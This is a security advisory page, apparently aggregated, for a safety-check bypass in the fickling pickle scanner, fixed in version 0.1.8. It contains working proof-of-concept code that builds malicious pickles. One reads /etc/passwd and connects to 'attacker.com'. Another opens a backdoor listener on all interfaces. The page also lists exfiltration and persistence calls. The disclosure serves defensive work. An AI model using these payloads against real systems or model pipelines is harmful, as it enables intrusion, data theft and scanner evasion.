Fickling has safety check bypass via REDUCE+BUILD opcode sequence
Key facts
- Attack vector
- —
- Privileges required
- —
- User interaction
- —
- Attack complexity
- —
- Impact type
- —
- Confidentiality · integrity · availability
- —
- Fix status
- Fixed
No CVSS vector from any source. Fix status from GitHub.
Summary
# Assessment It is believed that the analysis pass works as intended, `REDUCE` and `BUILD` are not at fault here. The few potentially unsafe modules have been added to the blocklist (https://github.com/trailofbits/fickling/commit/0c4558d950daf70e134090573450ddcedaf10400). # Original report ### Summary All 5 of fickling's safety interfaces — `is_likely_safe()`, `check_safety()`, CLI `--check-safety`, `always_check_safety()`, and the `check_safety()` context manager — report `LIKELY_SAFE` / raise no exceptions for pickle files that call dangerous top-level stdlib functions (signal handlers, network servers, network connections, file operations) when the REDUCE opcode is followed by a BUILD opcode. Demonstrated impacts include backdoor network listeners (`socketserver.TCPServer`), process persistence (`signal.signal`), outbound data exfiltration (`smtplib.SMTP`), and file creation on disk (`sqlite3.connect`). An attacker can append a trivial BUILD opcode to any payload to eliminate all detection. ## Details The bypass exploits three weaknesses in fickling's static analysis pipeline: 1. **`likely_safe_imports` over-inclusion** (`fickle.py:432-435`): When fickling decompiles a pickle and encounters `from smtplib import SMTP`, it adds `"SMTP"` to the `likely_safe_imports` set because `smtplib` is a Python stdlib module. This happens for ALL stdlib modules, including dangerous ones like smtplib, ftplib, sqlite3, etc. 2. **`OvertlyBadEvals` exemption** (`analysis.py:301-310`): The main call-level safety checker skips any call where the function name is in `likely_safe_imports`. So `SMTP('attacker.com')` is never flagged. 3. **`__setstate__` exclusion** (`fickle.py:443-446`): BUILD generates a `__setstate__` call which is excluded from the `non_setstate_calls` list. This means BUILD's call is invisible to `OvertlyBadEvals`. Additionally, BUILD consumes the REDUCE result variable, which prevents the `UnusedVariables` checker from flagging the unused assignment (the only remaining detection mechanism). ### Affected versions All versions through 0.1.7 (latest as of 2026-02-18). ### Affected APIs - `fickling.is_likely_safe()` - returns `True` for bypass payloads - `fickling.analysis.check_safety()` - returns `AnalysisResults` with `severity = Severity.LIKELY_SAFE` - `fickling --check-safety` CLI - exits with code 0 - `fickling.always_check_safety()` + `pickle.load()` - no `UnsafeFileError` raised, malicious code executes - `fickling.check_safety()` context manager + `pickle.load()` - no `UnsafeFileError` raised, malicious code executes ## PoC A single pickle that reads `/etc/passwd` AND opens a network connection to an attacker's server, yet fickling reports it as `LIKELY_SAFE`: ```python import io, struct, tempfile, os def sbu(s): """SHORT_BINUNICODE opcode helper.""" b = s.encode() return b"\x8c" + struct.pack("<B", len(b)) + b def make_exfiltration_pickle(): """ Single pickle that: 1. Reads /etc/passwd via fileinput.input() 2. Opens TCP connection to attacker via smtplib.SMTP() Both operations pass as LIKELY_SAFE. """ buf = io.BytesIO() buf.write(b"\x80\x04\x95") # PROTO 4 + FRAME payload = io.BytesIO() # --- Operation 1: Read /etc/passwd --- payload.write(sbu("fileinput") + sbu("input") + b"\x93") # STACK_GLOBAL payload.write(sbu("/etc/passwd") + b"\x85") # arg + TUPLE1 payload.write(b"R") # REDUCE payload.write(b"}" + sbu("_x") + sbu("y") + b"s" + b"b") # BUILD payload.write(b"0") # POP (discard result) # --- Operation 2: Connect to attacker --- payload.write(sbu("smtplib") + sbu("SMTP") + b"\x93") # STACK_GLOBAL payload.write(sbu("attacker.com") + b"\x85") # arg + TUPLE1 payload.write(b"R") # REDUCE payload.write(b"}" + sbu("_x") + sbu("y") + b"s" + b"b") # BUILD payload.write(b".") # STOP frame_data = payload.getvalue() buf.write(struct.pack("<Q", len(frame_data))) buf.write(frame_data) return buf.getvalue() # Generate and test data = make_exfiltration_pickle() with open("/tmp/exfil.pkl", "wb") as f: f.write(data) import fickling print(fickling.is_likely_safe("/tmp/exfil.pkl")) # Output: True <-- BYPASSED (file read + network connection in one pickle) ``` fickling decompiles this to: ```python from fileinput import input _var0 = input('/etc/passwd') # reads /etc/passwd _var1 = _var0 _var1.__setstate__({'_x': 'y'}) from smtplib import SMTP _var2 = SMTP('attacker.com') # opens TCP connection to attacker _var3 = _var2 _var3.__setstate__({'_x': 'y'}) result = _var3 ``` Yet reports `LIKELY_SAFE` because every call is either in `likely_safe_imports` (skipped) or is `__setstate__` (excluded). **CLI verification:** ```bash $ fickling --check-safety /tmp/exfil.pkl; echo "EXIT: $?" EXIT: 0 # BYPASSED - file read + network access passes as safe ``` **`always_check_safety()` verification:** ```python import fickling, pickle fickling.always_check_safety() # This should raise UnsafeFileError for malicious pickles, but doesn't: with open("/tmp/exfil.pkl", "rb") as f: result = pickle.load(f) # No exception raised — malicious code executed successfully ``` **`check_safety()` context manager verification:** ```python import fickling, pickle with fickling.check_safety(): with open("/tmp/exfil.pkl", "rb") as f: result = pickle.load(f) # No exception raised — malicious code executed successfully ``` ### Backdoor listener PoC (most impactful) A pickle that opens a TCP listener on port 9999, binding to all interfaces: ```python import io, struct def sbu(s): b = s.encode() return b"\x8c" + struct.pack("<B", len(b)) + b def make_backdoor_listener(): buf = io.BytesIO() buf.write(b"\x80\x04\x95") # PROTO 4 + FRAME payload = io.BytesIO() # socketserver.TCPServer via STACK_GLOBAL payload.write(sbu("socketserver") + sbu("TCPServer") + b"\x93") # Address tuple ('0.0.0.0', 9999) - needs MARK+TUPLE for mixed types payload.write(b"(") # MARK payload.write(sbu("0.0.0.0")) # host string payload.write(b"J" + struct.pack("<i", 9999)) # BININT port payload.write(b"t") # TUPLE # Handler class via STACK_GLOBAL payload.write(sbu("socketserver") + sbu("BaseRequestHandler") + b"\x93") payload.write(b"\x86") # TUPLE2 -> (address, handler) payload.write(b"R") # REDUCE -> TCPServer(address, handler) payload.write(b"N") # NONE payload.write(b"b") # BUILD(None) -> no-op payload.write(b".") # STOP frame_data = payload.getvalue() buf.write(struct.pack("<Q", len(frame_data))) buf.write(frame_data) return buf.getvalue() import fickling, pickle, socket data = make_backdoor_listener() with open("/tmp/backdoor.pkl", "wb") as f: f.write(data) print(fickling.is_likely_safe("/tmp/backdoor.pkl")) # Output: True <-- BYPASSED server = pickle.loads(data) # Port 9999 is now LISTENING on all interfaces s = socket.socket() s.connect(("127.0.0.1", 9999)) print("Connected to backdoor port!") # succeeds s.close() server.server_close() ``` The TCPServer constructor calls `server_bind()` and `server_activate()` (which calls `listen()`), so the port is open and accepting connections immediately after `pickle.loads()` returns. ## Impact An attacker can distribute a malicious pickle file (e.g., a backdoored ML model) that passes all fickling safety checks. Demonstrated impacts include: - **Backdoor network listener**: `socketserver.TCPServer(('0.0.0.0', 9999), BaseRequestHandler)` opens a port on all interfaces, accepting connections from the network. The TCPServer constructor calls `server_bind()` and `server_activate()`, so the port is open immediately after `pickle.loads()` returns. - **Process persistence**: `signal.signal(SIGTERM, SIG_IGN)` makes the process ignore SIGTERM. In Kubernetes/Docker/ECS, the orchestrator cannot gracefully shut down the process — the backdoor stays alive for 30+ seconds per restart attempt. - **Outbound exfiltration channels**: `smtplib.SMTP('attacker.com')`, `ftplib.FTP('attacker.com')`, `imaplib.IMAP4('attacker.com')`, `poplib.POP3('attacker.com')` open outbound TCP connections. The attacker's server sees the connection and learns the victim's IP and hostname. - **File creation on disk**: `sqlite3.connect(path)` creates a file at an attacker-chosen path as a side effect of the constructor. - **Additional bypassed modules**: glob.glob, fileinput.input, pathlib.Path, compileall.compile_file, codeop.compile_command, logging.getLogger, zipimport.zipimporter, threading.Thread A single pickle can combine all of the above (signal suppression + backdoor listener + network callback + file creation) into one payload. In a cloud ML environment, this enables persistent backdoor access while resisting graceful shutdown. 15 top-level stdlib modules bypass detection when BUILD is appended. This affects any application using fickling as a safety gate for ML model files. ## Suggested Fix Restrict `likely_safe_imports` to a curated allowlist of known-safe modules instead of trusting all stdlib modules. Additionally, either remove the `OvertlyBadEvals` exemption for `likely_safe_imports` or expand the `UNSAFE_IMPORTS` blocklist to cover network/file/compilation modules. ## Relationship to GHSA-83pf-v6qq-pwmr GHSA-83pf-v6qq-pwmr (Low, 2026-02-19) reports 6 network-protocol modules missing from the blocklist. Adding those modules to `UNSAFE_IMPORTS` does NOT fix this vulnerability because the root cause is the `OvertlyBadEvals` exemption for `likely_safe_imports` (`analysis.py:304-310`), which skips calls to ANY stdlib function — not just those 6 modules. Our 15 tested bypass modules include `socketserver`, `signal`, `sqlite3`, `threading`, `compileall`, and others beyond the scope of that advisory.
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | fickling (PyPI) | before 0.1.8 | 0.1.8 | Patch available | GHSA-mhc9-48gj-9gp3 |
- fickling (PyPI) Vendor— Affected before 0.1.8 Fixed in 0.1.8 Patch available GHSA-mhc9-48gj-9gp3
Remediation
- Fix · GHSA-mhc9-48gj-9gp3 fickling (PyPI) Fixed in 0.1.8 Advisory →
Timeline
- 2026-10-03 Threatist record created from GHSA-mhc9-48gj-9gp3
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences